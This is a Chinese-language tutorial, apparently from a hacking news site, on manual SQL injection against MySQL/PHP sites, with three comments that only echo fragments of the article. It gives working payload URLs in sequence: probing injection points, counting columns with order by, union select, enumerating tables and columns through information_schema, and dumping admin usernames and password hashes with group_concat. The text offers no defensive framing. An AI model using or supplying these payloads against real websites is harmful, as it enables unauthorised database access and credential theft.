SQL注入篇之mysql+php手工注入篇

SQL注入篇之mysql+php手工注入篇

黑客资讯访客1970-01-01 8:00:003343A+A-

1、mysql的注释符号


#
--空格

用于注释后后面语句 不再执行
例如
select * fromartile where id=1#这个部分的语句不再执行

 

 

2、注入常用查询系统信息函数

 


version()
MySQL 版本
user()
数据库用户名
database()
数据库名
@@datadir
数据库路径
@@version_compile_os
操作系统版本

 

3、判断是否存在注入


页面是否返回正常,或是否存在报错信息
and 1=1 正常
and 1=2 错误
&&1=1  转码 %26%261=1  正常
&&1=2  转码 %26%261=2  错误

http://target_sys.com/article.php?id=-1 or 1=2
  or 1=2


or 1=1
or 102
-1||1=2 转码-1 %7c%7c1=2  正常
-1||1=2 转码-1%7c%7c1=2 错误

&&与||这种特殊的符号 一定要在浏览器url前进行转码之后方可提交 因为浏览器默认不会进行编码

 

 

4、判断列数

 


与其他数据库一样 order by 进行排列获取字段数

  order by 3



order by 3 页面正常 order by 4 页面返回空白 或者文章没有显示出来,列数为3个

mysql与access数据库不一样。在没有表名的前提下也可以查询数据库一些信息,如安装路径、库名、操作系统信息

system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os操作系统

 

 

5、 联合查询union select

 


union select 查询两个表的内容

http://target_sys.com/article.php?id=-1union select 1,2,3
http://target_sys.com/article.php?id=1and 1=2 union select 1,2,3


以上两个语句的意思都是相同的 前面获取数据为null 将会显示后面的数字

 

 

6、查询库名

 


把数字替换成你要查询的函数名 database() 当前数据库名

 

 

7、 查询表名

 


mysql 里面有一个库information_schema 里面存在很多信息,其中包括所有的库名, 表名, 字段名。因为可以利用这个库来获取当前库的表

语句如下

http://target_sys.com/article.php?id=-1union select 1,2,TABLE_NAME from information_schema.TABLES whereTABLE_SCHEMA=database() limit 0,1



target_sys

http://target_sys.com/article.php?id=-1union select 1,2,TABLE_NAME from information_schema.TABLES whereTABLE_SCHEMA=0x7461726765745f737973 limit 0,1



这个database()函数与 target_sys 相同,如果不使用database()函数就要把target_sys 转换 十六进制 0x7461726765745f737973

limit 0,1 就是获取第一个表名 获取第二个表名 就要把0 改变成 1 第三个 2 第四 3 如此类推 直接 返回 空

admin
article
moon_range

8、查询字段


查询字段也是查询 information_schema库 里的信息。

admin表 转换 成十六进制 0x61646d696e

http://target_sys.com/article.php?id=-1union select 1,2,COLUMN_NAME from information_schema.COLUMNS whereTABLE_NAME=0x61646d696e limit 0,1


id
username
password

9、查询数据

http://target_sys.com/article.php?id=-1union select 1,2,group_concat(username,0x3a,password) from ad

min

group_concat() 用于 打印并接字符串  输出两个字段的内容 0x3a是 字符 :最终的结果是

admin:e10adc3949ba59abbe56e057f20f883e

点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 3条评论
  • 柔侣庸颜2022-06-03 14:52:46
  • e()函数就要把target_sys 转换 十六进制 0x7461726765745f737973limit 0,1 就是获取第一个表名 获取第二个表名 就要把0 改变成 1 第三个 2 第四 3 如此类推 直接 返回 空adminarticlemoon_range8、
  • 语酌近臾2022-06-03 10:13:00
  • 3 页面正常 order by 4 页面返回空白 或者文章没有显示出来,列数为3个mysql与access数据库不一样。在没有表名的前提下也可以查询数据库一些信息,如安装路径
  • 夙世池虞2022-06-03 12:49:45
  • sql与access数据库不一样。在没有表名的前提下也可以查询数据库一些信息,如安装路径、库名、操作系统信息system_user() 系统用户名user() 用户名current_user 当前用户名session_user()连接数据库的用户名database() 数据库名vers

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理